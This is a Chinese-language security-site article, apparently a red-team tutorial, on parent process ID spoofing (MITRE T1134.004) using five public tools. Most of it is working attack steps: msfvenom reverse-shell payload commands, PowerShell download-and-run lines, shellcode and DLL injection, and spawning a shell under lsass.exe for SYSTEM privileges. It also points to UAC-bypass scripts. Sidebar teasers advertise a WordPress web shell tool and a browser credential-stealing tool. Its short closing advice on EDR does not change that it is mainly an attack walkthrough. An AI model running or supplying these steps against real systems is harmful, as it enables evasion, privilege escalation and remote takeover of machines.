您好!欢迎来到北极熊网

北极熊网

热门搜索: 任正非传    神雕侠侣    红楼梦   

父进程欺骗( MITRE ATT&CK框架:T1134)

  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-01 22:23
  • 阅读:124

概述

父进程欺骗是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术。

该欺骗可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如C++中的CreateProcess调用。正如我们将在本文中看到的那样,这种显式分配也可能具有某些附带好处。

MITRE 战术:权限提升(TA0004)和 防御规避(TA0005)

MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取以及利用

子技术:T1134.004 :访问令牌操作: 父 PID 欺骗

背景:

子进程监控是威胁狩猎中最常见的指标之一。应急响应人员可能会分析如果 conhost.exe或 cmd.exe进程是从 Adobe Reader或 MS Excel等零相关的应用生成的,则表明可能存在潜在威胁。安全防护软件会在启发式检测下监控此行为,并向管理员发出警报。

PID(PPID)欺骗方法可以绕过 AV/EDR检测,使其认为是 lsass.exe这样的合法进程在进行活动。它通过欺骗进程的 PID以匹配其父进程的 PID来做到这一点。这种方法可能带来的另一个好处是,如果父进程以 SYSTEM权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的 SYSTEM权限。

进程、PID和PPID

进程:在 Windows中,应用程序由一个或多个进程组成。简单来说,当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如cmd.exe),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程。该整数称为PID

PID:代表进程标识符 (PID),它是正在运行的进程的数字表示。 Windows中通过 GetCurrentProcessID()函数返回指定进程的 PID

父进程:父进程是可以派生多个子进程的进程。例如,命令explorer.exe /e,/root,"C:WINDOWSSystem32cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。在代码中,父进程可以使用fork()系统调用来派生子进程。

PPID:代表父进程标识符(PPID),它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。

方法一(使用C++程序进行PID欺骗)

Didier Stevens最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法。还发布了一个用C++编写的利用程序(SelectMyParent)。代码可以在这里下载:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip

请注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE。在Visual Studio2022中,我删除了Debug and Release文件夹中的SelectMyParent.pdb文件,并重新生成了项目以使其运行。

在进程管理器中,你会看到 explorer.exe在 PID 1624上运行

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)1563.png

因此,要在这个父 explorer.exe进程下运行我们自己的二进制文件,可以像这样使用 SelectMyParent.exe,你会看到在 PID 1624下创建了一个新进程。

E:>SelectMyParent.exe notepad 1624

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)1691.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)1694.png

可以看到在PID 2836启动了notepad.exe

同样,我们也可以运行自己的EXE。让我们先用msfvenom创建一个可以反弹shellexe

# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe

在受感染端,使用tasklist /v查看进程运行详情。

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)1893.png

在列表中,可以看到explorer.exe进程以test身份在进程ID 1624上运行。

然后运行生成的shell.exe,并附属在explorer.exePID

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)1980.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)1983.png

监听端收到的shell便是explorer.exe进程用户的权限

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)2051.png

如果利用具有system权限的进程,即可进行提权。

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)2048.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)2051.png

方法二(使用Powershell DLL注入进行PID欺骗)

F-Secure实验室利用 powershell创建了替代上述Didier二进制文件的方案。它也可以用于父进程欺骗,与上述方法不同之处在于,可以将带有注入的DLL的子进程派生为子进程,功能更强大。代码可以在这里下载https://github.com/countercept/ppid-spoofing,首先在受害者机器上查看进程ID,这里我们选择 Powershell的 PID 24092作为父进程ID

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)2359.png

利用msfvenmon生成要注入的DLL

msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting RAW payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

然后进行注入:

Import-Module .PPID-Spoof.ps1
PPID-Spoof -ppid 24092 -spawnto "C:WindowsSystem32
otepad.exe" -dllpath .shell.dll

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)2869.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)2872.png

可以看到注入的DLLNotepad.exe中加载执行了。

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)2905.png

通过这种方式,PPID 24092上的powershell.exe进程派生了一个带有插入代码(由DLL提供)的notepad.exe

方法三(使用Powershell 脚本入进行PID欺骗)

Decoder-it根据 Didier Stevens提供的指南开发了一个 powershell脚本,使用了 CreateProcessFromParent()方法,可以在此处找到的psgetsystem脚本:https://github.com/decoder-it/psgetsystem.git,可用于通过PID欺骗派生子进程。首先我们查看所需进程的 PID。这里以lsass.exe为例

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)3271.png

然后执行如下命令:

powershell -ep bypass
Import-Module .psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".shell.exe","")

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)3395.png

如果报错,可能是UAC的问题,需要先绕过UAC,或者是权限过低,需要提权。

绕过UAC脚本可以在这里找到:https://github.com/samratashok/nishang/tree/master/Escalation

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)3594.png

然后下载所需的文件,然后执行命令

$client=new-object System.Net.WebClient 
$client.DownloadFile("http://<url>/psgetsys.ps1",".psgetsys.ps1")
$client.DownloadFile("http://<url>/shell.exe",".shell.exe")
Import-Module .psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".shell.exe","")

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)3871.png

可以看到在lsass.exe下成功创建了子进程,因为lsass.exesystem权限,所以反弹shell也获取到了system权限。

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)3943.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)3946.png

方法四(使用C#程序进行PID欺骗)

py7hagoras开发了GetSystem项目,是上述技术的C#实现,可以在这里找到:https://github.com/py7hagoras/GetSystem.git

在目标机上下载GetSystem.exe,然后执行GetSystem.exe 自定义程序 -O 目标进程名

GetSystem.exe shell.exe -O lsass

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)4206.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)4209.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)4212.png

注意:这里可能也需要绕过UAC或者提权,不然执行不成功。

方法五(通过PID欺骗注入Shellcode)

Chirag Savla使用 C#开发了一个名为“ProcessInjection”的出色工具,它可以执行许多功能,包括通过 PID欺骗进行的进程注入。通过提供有效的 PID,该工具会尝试使用 CreateProcess等原生 API调用来欺骗 PID,然后将代码注入其中。该工具支持 hexC和 base64格式的shellcode,也可以选择 DLL 注入。工具在这里下载:https://github.com/3xpl01tc0d3r/ProcessInjection

首先,使用msfvenom创建一个shellcode代码

msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt

然后在目标机中下载

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)4729.png

使用ProcessInjection.exe进行注入

ProcessInjection.exe /ppath:"C:WindowsSystem32calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1

参数说明:

/ppath:目标 EXE 的进程路径(需要注入进程的路径)

/path:shellcode文件路径

/parentproc:父进程名称,目标EXE应在此进程下生成

/f:shellcode文件类型

/t:注入技术

支持的五种注入方式:

1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) Dynamic Invoke - Vanilla Process Injection

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)5118.png

我们可以看到calc.exeexplorer.exe下,而shellcode则在calc.exe中执行。

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)5175.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)5178.png

也可以进行DLL注入

ProcessInjection.exe /ppath:"C:WindowsSystem32calc.exe" /path:"shell.dll" /parentproc:explorer /t:2

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)5295.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)5298.png

红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)5301.png

其他工具

https://github.com/Mr-Un1k0d3r/RemoteProcessInjection

https://github.com/xpn/getsystem-offline

https://github.com/hlldz/APC-PPID

https://github.com/ewilded/PPID_spoof

https://github.com/christophetd/spoofing-office-macro(VBA实现)

在Metasploit中Meterpreter 可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。

总结

攻击者广泛使用该技术进行检测规避,并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案,可以使用此技术轻松规避检测。通过本文,告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。


全部评论(0)
资讯详情页最新发布上方横幅
推荐阅读
  • 如何使用presshell在WordPress主机上执行Shell命令
  • 如何使用presshell在WordPress主机上执行Shell命令
  • 关于presshellpresshell是一款针对WordPress的Shell工具,该工具可以帮助广大研究人员上传Shell文件,并在WordPress服务器/主机上轻松执行Shell命令。注意,上传Shell的路径为“/wp-content/plugins/shell/shell.php”。工具下载广大研究人员可以使用下列命令将该项目源码克隆至本地:git clone https
  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-06 20:36
  • 阅读:244
  • 为什么黑客如此“钟爱”跨链桥
  • 为什么黑客如此“钟爱”跨链桥
  • 0x1背景介绍随着区块链及链上程序的增长,多链资金转换需求迫切,跨链桥业务随之增加,有业务的地方就会有安全问题,跨链桥为用户提供便利的同时,可能也为黑客提供了另一扇大门,PolyNetwork攻击事件发生后,跨链桥安全问题也随之显露出来。0x2什么是跨链桥?区块链桥,也称为跨链桥,连接两条区块链,允许用户将加密货币从一条链发送到另一条链。跨链桥通过在两个独立平台之间启用代币转移、智能合约和数据交换以及其他反馈和指令来进行资金跨链操
  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-06 20:34
  • 阅读:190
  • EvilSelenium:一款功能强大的Chromium浏览器渗透测试工具
  • EvilSelenium:一款功能强大的Chromium浏览器渗透测试工具
  • 关于EvilSeleniumEvilSelenium是一款基于Selenium的渗透测试工具,该工具基于武器化的Selenium实现其功能,可以帮助广大研究人员针对基于Chromium的浏览器进行安全分析和渗透测试。功能介绍1、通过autofill获取存储的凭证信息;2、获取Cookie数据;3、获取网站屏幕截图;4、导出Gmail/O365电子邮件数据;5、导出Whats*App消息;6、下载&提取文件信息;7、向GitHub
  • 技术文档
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-06 20:33
  • 阅读:216
  • 针对贸易行业的情报刺探活动
  • 针对贸易行业的情报刺探活动
  • 概述奇安信威胁情报中心在日常威胁发现过程中发现一个专门针对贸易行业进行攻击的团伙,主要目的为获取情报,攻击手段较为单一,发送带有恶意lnk文件的钓鱼邮件进行传播,今年以来较为活跃,我们将其命名为APT-Q-12。此次攻击捕获的活动样本有如下特点:使用鱼叉邮件投递恶意压缩包,使用LNK文件进行cisid劫持。使用FileRun框架或者第三方平台托管样本攻击成功后使用AES加密进行信息传递。目前无法从C2获取最终的payload,故境内暂无
  • 今日头条
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-02 21:42
  • 阅读:244
  • 安恒猎影实验室发现蔓灵花APT组织疑似伪装我国攻击孟加拉国
  • 安恒猎影实验室发现蔓灵花APT组织疑似伪装我国攻击孟加拉国
  • 蔓灵花组织介绍蔓灵花(Bitter)是一个被广泛认为来自印度的APT组织,该组织长期针对我国及周边南亚各国的政府、军工、电力、核等部门发动网络攻击,窃取敏感数据,具有较强的政治背景。近期,安恒安全数据部猎影实验室捕获到多个疑似蔓灵花组织的活动样本。该批样本无论在攻击手法或者武器代码等方面都与该组织此前的攻击活动极为相似,延续了其一贯的攻击特征。蔓灵花组织利用得到权限的巴基斯坦、孟加拉国政府邮箱发起网络攻击活动,我们发现其中一处回连域名使
  • 今日头条
  • 来源:北极熊
  • 编辑:佚名
  • 时间:2022-05-02 21:40
  • 阅读:162
联系我们
电话:18936411277
邮箱:1044412291@qq.com
时间:09:00 - 19:00
公众号:北格软件
底部广告